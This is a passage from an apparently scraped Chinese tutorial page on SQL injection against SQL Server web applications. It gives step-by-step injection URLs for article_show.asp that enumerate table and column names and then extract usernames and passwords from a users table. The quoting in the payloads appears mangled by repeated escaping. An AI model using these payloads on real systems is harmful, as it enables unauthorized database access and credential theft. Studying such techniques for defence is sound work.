转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 数据库 >> Sql Server >> 正文
基于SQL Server的WEB应用程序注入攻击详细介绍         

基于SQL Server的WEB应用程序注入攻击详细介绍

作者:闵涛 文章来源:闵涛的学习笔记 点击数:11360 更新时间:2007/11/14 11:56:57
称:

article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE=''''U'''' AND STATUS>0 AND NAME NOT IN(''''''''))

得到第一个表名为info_files后,用下面语句得到第二个表名:

article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE=''''U'''' AND STATUS>0 AND NAME NOT IN(''''info_files''''))

得到第二个表名为info_articles后,用下面语句得到第三个表名:

article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE=''''U'''' AND STATUS>0 AND NAME NOT IN(''''info_files'''',''''info_articles''''))

假设得到第三个表名为info_users

使用下面语句得到info_users表中第一个字段的名称:

article_show.asp?ID=(SELECT COL_NAME(OBJECT_ID(''''info_users''''),1)

使用下面语句得到info_users表中第二个字段名称:

article_show.asp?ID=(SELECT COL_NAME(OBJECT_ID(''''info_users''''),2)

假设得到info_users表的结构为ID,username,password,那么,使用下面的语句得到第一个记录的username值:

article_show.asp?ID=(SELECT TOP 1 username FROM info_users)

使用下面语句得到第一个记录的password值:

article_show.asp?ID=(SELECT TOP 1 password FROM info_users)

使用下面的语句得到第一个记录的ID值:

article_show.asp?ID=(SELECT TOP 1 CHAR(115) %2B CAST(ID AS VARCHAR(2)) FROM info_users)

 

六、附加说明

    也有很多开发者用过滤

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ...  下一页 >> 


[聊天工具]Gmail推出新功能:Web Clip__天极Yesky  [聊天工具]Web MSN你玩了吗__天极Yesky
[聊天工具]企业邮件系统的利器----FoxMail Server  [系统软件]OPEN SERVER 5.0.5安装EXP300阵列柜
[系统软件]Web Browser Express 概述  [系统软件]对Internet Explorer Web 控件做一点修改
[系统软件]关于Windows2000Server的灾难恢复  [常用软件]小技巧:三步实现Web迅雷录制PPLive节目
[常用软件]天网防火墙:打开WEB和FTP服务  [常用软件][网络]下载服务革命性风暴Poco Server评测
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · Sql Server  · MySql
    · Access  · ORACLE
    · SyBase  · 其他
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台